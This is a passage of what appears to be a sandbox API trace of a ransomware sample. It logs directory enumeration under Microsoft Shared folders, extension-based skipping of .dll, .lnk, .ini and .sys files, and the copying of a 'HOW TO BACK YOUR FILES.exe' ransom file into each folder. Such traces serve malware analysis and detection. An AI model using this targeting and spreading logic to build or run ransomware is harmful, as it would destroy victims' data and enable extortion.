	[0074.848] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54ce0b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x44ae97d0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x44ae97d0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca390
	[0074.849] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0074.849] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0074.849] lstrcpyW (in: lpString1=0x2d3e5ca, lpString2="MSB1ENES.ITS" | out: lpString1="MSB1ENES.ITS") returned="MSB1ENES.ITS"
	[0074.849] lstrlenW (lpString="MSB1ENES.ITS") returned 12
	[0074.849] lstrlenW (lpString="Apollon865") returned 10
	[0074.849] lstrcmpiW (lpString1="B1ENES.ITS", lpString2="Apollon865") returned 1
	[0074.849] lstrlenW (lpString=".dll") returned 4
	[0074.849] lstrcmpiW (lpString1="MSB1ENES.ITS", lpString2=".dll") returned 1
	[0074.849] lstrlenW (lpString=".lnk") returned 4
	[0074.849] lstrcmpiW (lpString1="MSB1ENES.ITS", lpString2=".lnk") returned 1
	[0074.849] lstrlenW (lpString=".ini") returned 4
	[0074.849] lstrcmpiW (lpString1="MSB1ENES.ITS", lpString2=".ini") returned 1
	[0074.849] lstrlenW (lpString=".sys") returned 4
	[0074.849] lstrcmpiW (lpString1="MSB1ENES.ITS", lpString2=".sys") returned 1
	[0074.849] lstrlenW (lpString="MSB1ENES.ITS") returned 12
	[0074.849] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR", iMaxLength=260 | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR"
	[0074.849] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf4e0 | out: hHeap=0x580000) returned 1
	[0074.849] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fc08 | out: hHeap=0x580000) returned 1
	[0074.849] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR") returned 60
	[0074.850] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR"
	[0074.850] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0074.850] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\arfr\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0074.855] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0074.855] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7562dd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x44b0f930, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x44b0f930, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca390
	[0074.856] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0074.856] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0074.856] lstrcpyW (in: lpString1=0x2d3e5ca, lpString2="MSB1ARFR.ITS" | out: lpString1="MSB1ARFR.ITS") returned="MSB1ARFR.ITS"
	[0074.856] lstrlenW (lpString="MSB1ARFR.ITS") returned 12
	[0074.856] lstrlenW (lpString="Apollon865") returned 10
	[0074.856] lstrcmpiW (lpString1="B1ARFR.ITS", lpString2="Apollon865") returned 1
	[0074.856] lstrlenW (lpString=".dll") returned 4
	[0074.856] lstrcmpiW (lpString1="MSB1ARFR.ITS", lpString2=".dll") returned 1
	[0074.856] lstrlenW (lpString=".lnk") returned 4
	[0074.856] lstrcmpiW (lpString1="MSB1ARFR.ITS", lpString2=".lnk") returned 1
	[0074.856] lstrlenW (lpString=".ini") returned 4
	[0074.856] lstrcmpiW (lpString1="MSB1ARFR.ITS", lpString2=".ini") returned 1
	[0074.856] lstrlenW (lpString=".sys") returned 4
	[0074.856] lstrcmpiW (lpString1="MSB1ARFR.ITS", lpString2=".sys") returned 1
	[0074.856] lstrlenW (lpString="MSB1ARFR.ITS") returned 12
	[0074.856] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14", iMaxLength=260 | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14"
	[0074.856] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59abf0 | out: hHeap=0x580000) returned 1
	[0074.856] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7b48 | out: hHeap=0x580000) returned 1
	[0074.856] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14") returned 55
	[0074.856] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14"
	[0074.856] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0074.856] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0074.862] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0074.862] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x44b0f930, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x44b0f930, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca390
	[0074.862] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0074.862] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0074.864] lstrcpyW (in: lpString1=0x2d3e5c0, lpString2="AFTRNOON" | out: lpString1="AFTRNOON") returned="AFTRNOON"
	[0074.864] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7b48
	[0074.864] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x82) returned 0x5b8f28
	[0074.864] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7b50 | out: ListHead=0x5b76b0, ListEntry=0x5b7b50) returned 0x5b7c90
	[0074.864] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5146e3d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ARCTIC", cAlternateFileName="")) returned 1
	[0074.864] lstrcmpiW (lpString1="ARCTIC", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0074.864] lstrcmpiW (lpString1="ARCTIC", lpString2="Apollon865.txt.exe") returned 1
	[0074.865] lstrcpyW (in: lpString1=0x2d3e5c0, lpString2="ARCTIC" | out: lpString1="ARCTIC") returned="ARCTIC"
	[0074.865] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fc08
	[0074.865] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x7e) returned 0x5bf4e0
	[0074.865] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fc10 | out: ListHead=0x5b76b0, ListEntry=0x59fc10) returned 0x5b7b50
	[0074.865] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51767f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="AXIS", cAlternateFileName="")) returned 1
	[0074.865] lstrcmpiW (lpString1="AXIS", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0074.865] lstrcmpiW (lpString1="AXIS", lpString2="Apollon865.txt.exe") returned 1
	[0074.865] lstrcpyW (in: lpString1=0x2d3e5c0, lpString2="AXIS" | out: lpString1="AXIS") returned="AXIS"
	[0074.865] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fd68
	[0074.865] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x7a) returned 0x5bf700
	[0074.865] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fd70 | out: ListHead=0x5b76b0, ListEntry=0x59fd70) returned 0x59fc10
	[0074.865] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BLENDS", cAlternateFileName="")) returned 1
	[0074.865] lstrcmpiW (lpString1="BLENDS", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0074.865] lstrcmpiW (lpString1="BLENDS", lpString2="Apollon865.txt.exe") returned 1
	[0074.865] lstrcpyW (in: lpString1=0x2d3e5c0, lpString2="BLENDS" | out: lpString1="BLENDS") returned="BLENDS"
	[0074.865] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fc88
	[0074.865] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x7e) returned 0x5bf788
	[0074.865] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fc90 | out: ListHead=0x5b76b0, ListEntry=0x59fc90) returned 0x59fd70
	[0074.865] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BLUECALM", cAlternateFileName="")) returned 1
	[0074.865] lstrcmpiW (lpString1="BLUECALM", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0074.865] lstrcmpiW (lpString1="BLUECALM", lpString2="Apollon865.txt.exe") returned 1
	[0074.865] lstrcpyW (in: lpString1=0x2d3e5c0, lpString2="BLUECALM" | out: lpString1="BLUECALM") returned="BLUECALM"
	[0074.865] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fc28
	[0074.865] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x82) returned 0x5b90d8
	[0074.865] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fc30 | out: ListHead=0x5b76b0, ListEntry=0x59fc30) returned 0x59fc90
	[0074.865] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BLUEPRNT", cAlternateFileName="")) returned 1
	[0074.866] lstrcmpiW (lpString1="BLUEPRNT", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0074.866] lstrcmpiW (lpString1="BLUEPRNT", lpString2="Apollon865.txt.exe") returned 1
	[0074.866] lstrcpyW (in: lpString1=0x2d3e5c0, lpString2="BLUEPRNT" | out: lpString1="BLUEPRNT") returned="BLUEPRNT"
	[0074.866] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fc48
	[0074.866] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x82) returned 0x5b8e98
	[0074.866] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fc50 | out: ListHead=0x5b76b0, ListEntry=0x59fc50) returned 0x59fc30
	[0074.866] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BOLDSTRI", cAlternateFileName="")) returned 1
	[0074.866] lstrcmpiW (lpString1="BOLDSTRI", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0074.866] lstrcmpiW (lpString1="BOLDSTRI", lpString2="Apollon865.txt.exe") returned 1
	[0074.866] lstrcpyW (in: lpString1=0x2d3e5c0, lpString2="BOLDSTRI" | out: lpString1="BOLDSTRI") returned="BOLDSTRI"
	[0074.866] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fc68
	[0074.866] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x82) returned 0x5b8e08
	[0074.866] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fc70 | out: ListHead=0x5b76b0, ListEntry=0x59fc70) returned 0x59fc50
	[0074.866] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a61ad0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BREEZE", cAlternateFileName="")) returned 1
	[0074.866] lstrcmpiW (lpString1="BREEZE", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0074.866] lstrcmpiW (lpString1="BREEZE", lpString2="Apollon865.txt.exe") returned 1
	[0074.866] lstrcpyW (in: lpString1=0x2d3e5c0, lpString2="BREEZE" | out: lpString1="BREEZE") returned="BREEZE"
	[0074.866] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fca8
	[0074.866] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x7e) returned 0x5bf678
	[0074.866] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fcb0 | out: ListHead=0x5b76b0, ListEntry=0x59fcb0) returned 0x59fc70
	[0074.866] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51c2ab50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="CANYON", cAlternateFileName="")) returned 1
	[0074.866] lstrcmpiW (lpString1="CANYON", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0074.866] lstrcmpiW (lpString1="CANYON", lpString2="Apollon865.txt.exe") returned 1
	[0074.866] lstrcpyW (in: lpString1=0x2d3e5c0, lpString2="CANYON" | out: lpString1="CANYON") returned="CANYON"
	[0074.866] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fd88
	[0074.866] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x7e) returned 0x5bf810
	[0074.866] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fd90 | out: ListHead=0x5b76b0, ListEntry=0x59fd90) returned 0x59fcb0
	[0074.866] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51c2ab50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="CAPSULES", cAlternateFileName="")) returned 1
	[0074.866] lstrcmpiW (lpString1="CAPSULES", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0074.866] lstrcmpiW (lpString1="CAPSULES", lpString2="Apollon865.txt.exe") returned 1
	[0074.867] lstrcpyW (in: lpString1=0x2d3e5c0, lpString2="CAPSULES" | out: lpString1="CAPSULES") returned="CAPSULES"
	[0074.867] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fd48
	[0074.867] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x82) returned 0x5b8d78
	[0074.867] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fd50 | out: ListHead=0x5b76b0, ListEntry=0x59fd50) returned 0x59fd90
	[0074.867] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51c50cb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="CASCADE", cAlternateFileName="")) returned 1
	[0074.867] lstrcmpiW (lpString1="CASCADE", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0074.867] lstrcmpiW (lpString1="CASCADE", lpString2="Apollon865.txt.exe") returned 1
	[0074.867] lstrcpyW (in: lpString1=0x2d3e5c0, lpString2="CASCADE" | out: lpString1="CASCADE") returned="CASCADE"
	[0074.867] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fcc8
	[0074.867] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x80) returned 0x5bf9a8
	[0074.867] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fcd0 | out: ListHead=0x5b76b0, ListEntry=0x59fcd0) returned 0x59fd50
	[0074.867] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51cc30d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="COMPASS", cAlternateFileName="")) returned 1
	[0074.867] lstrcmpiW (lpString1="COMPASS", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0074.867] lstrcmpiW (lpString1="COMPASS", lpString2="Apollon865.txt.exe") returned 1
	[0074.867] lstrcpyW (in: lpString1=0x2d3e5c0, lpString2="COMPASS" | out: lpString1="COMPASS") returned="COMPASS"
	[0074.867] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fbe8
	[0074.867] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x80) returned 0x5bf920
	[0074.867] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fbf0 | out: ListHead=0x5b76b0, ListEntry=0x59fbf0) returned 0x59fcd0
	[0074.867] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51cc30d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="CONCRETE", cAlternateFileName="")) returned 1
	[0074.867] lstrcmpiW (lpString1="CONCRETE", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0074.867] lstrcmpiW (lpString1="CONCRETE", lpString2="Apollon865.txt.exe") returned 1
	[0074.867] lstrcpyW (in: lpString1=0x2d3e5c0, lpString2="CONCRETE" | out: lpString1="CONCRETE") returned="CONCRETE"
	[0074.867] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fce8
	[0074.867] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x82) returned 0x5b8ce8
	[0074.867] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fcf0 | out: ListHead=0x5b76b0, ListEntry=0x59fcf0) returned 0x59fbf0
	[0074.867] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6073a7d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="DEEPBLUE", cAlternateFileName="")) returned 1
	[0074.867] lstrcmpiW (lpString1="DEEPBLUE", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0074.867] lstrcmpiW (lpString1="DEEPBLUE", lpString2="Apollon865.txt.exe") returned 1
	[0074.867] lstrcpyW (in: lpString1=0x2d3e5c0, lpString2="DEEPBLUE" | out: lpString1="DEEPBLUE") returned="DEEPBLUE"
	[0074.867] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fd08
	[0074.867] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x82) returned 0x5b8c58
	[0074.868] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fd10 | out: ListHead=0x5b76b0, ListEntry=0x59fd10) returned 0x59fcf0
	[0074.868] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x60891430, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x60891430, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ECHO", cAlternateFileName="")) returned 1
	[0074.868] lstrcmpiW (lpString1="ECHO", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0074.868] lstrcmpiW (lpString1="ECHO", lpString2="Apollon865.txt.exe") returned 1
	[0074.868] lstrcpyW (in: lpString1=0x2d3e5c0, lpString2="ECHO" | out: lpString1="ECHO") returned="ECHO"
	[0074.868] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fdc8
	[0074.868] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x7a) returned 0x5bfa30
	[0074.868] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fdd0 | out: ListHead=0x5b76b0, ListEntry=0x59fdd0) returned 0x59fd10
	[0074.868] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51e3fe90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ECLIPSE", cAlternateFileName="")) returned 1
	[0074.868] lstrcmpiW (lpString1="ECLIPSE", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0074.868] lstrcmpiW (lpString1="ECLIPSE", lpString2="Apollon865.txt.exe") returned 1
	[0074.868] lstrcpyW (in: lpString1=0x2d3e5c0, lpString2="ECLIPSE" | out: lpString1="ECLIPSE") returned="ECLIPSE"
	[0074.868] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fde8
	[0074.868] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x80) returned 0x5bfab8
	[0074.868] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fdf0 | out: ListHead=0x5b76b0, ListEntry=0x59fdf0) returned 0x59fdd0
